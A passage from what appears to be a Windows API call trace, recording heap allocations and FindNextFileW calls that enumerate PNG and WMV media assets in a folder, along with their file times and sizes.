(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15d88 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13608 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15da8 [0069.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13710 [0069.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.249] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15dc8 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13818 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15de8 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13920 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15e08 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13a28 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15e28 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13b30 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15e48 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13c38 [0069.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.251] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15e68 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13d40 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15e88 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13e48 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15ea8 [0069.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa13f50 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15ec8 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14058 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xd80) returned 0xa16530 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15ee8 [0069.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14160 [0069.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.253] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15f08 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14268 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15f28 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14370 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15f48 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14478 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15f68 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14580 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15f88 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14688 [0069.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.255] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15fa8 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14790 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15fc8 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14898 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa15fe8 [0069.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa149a0 [0069.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, 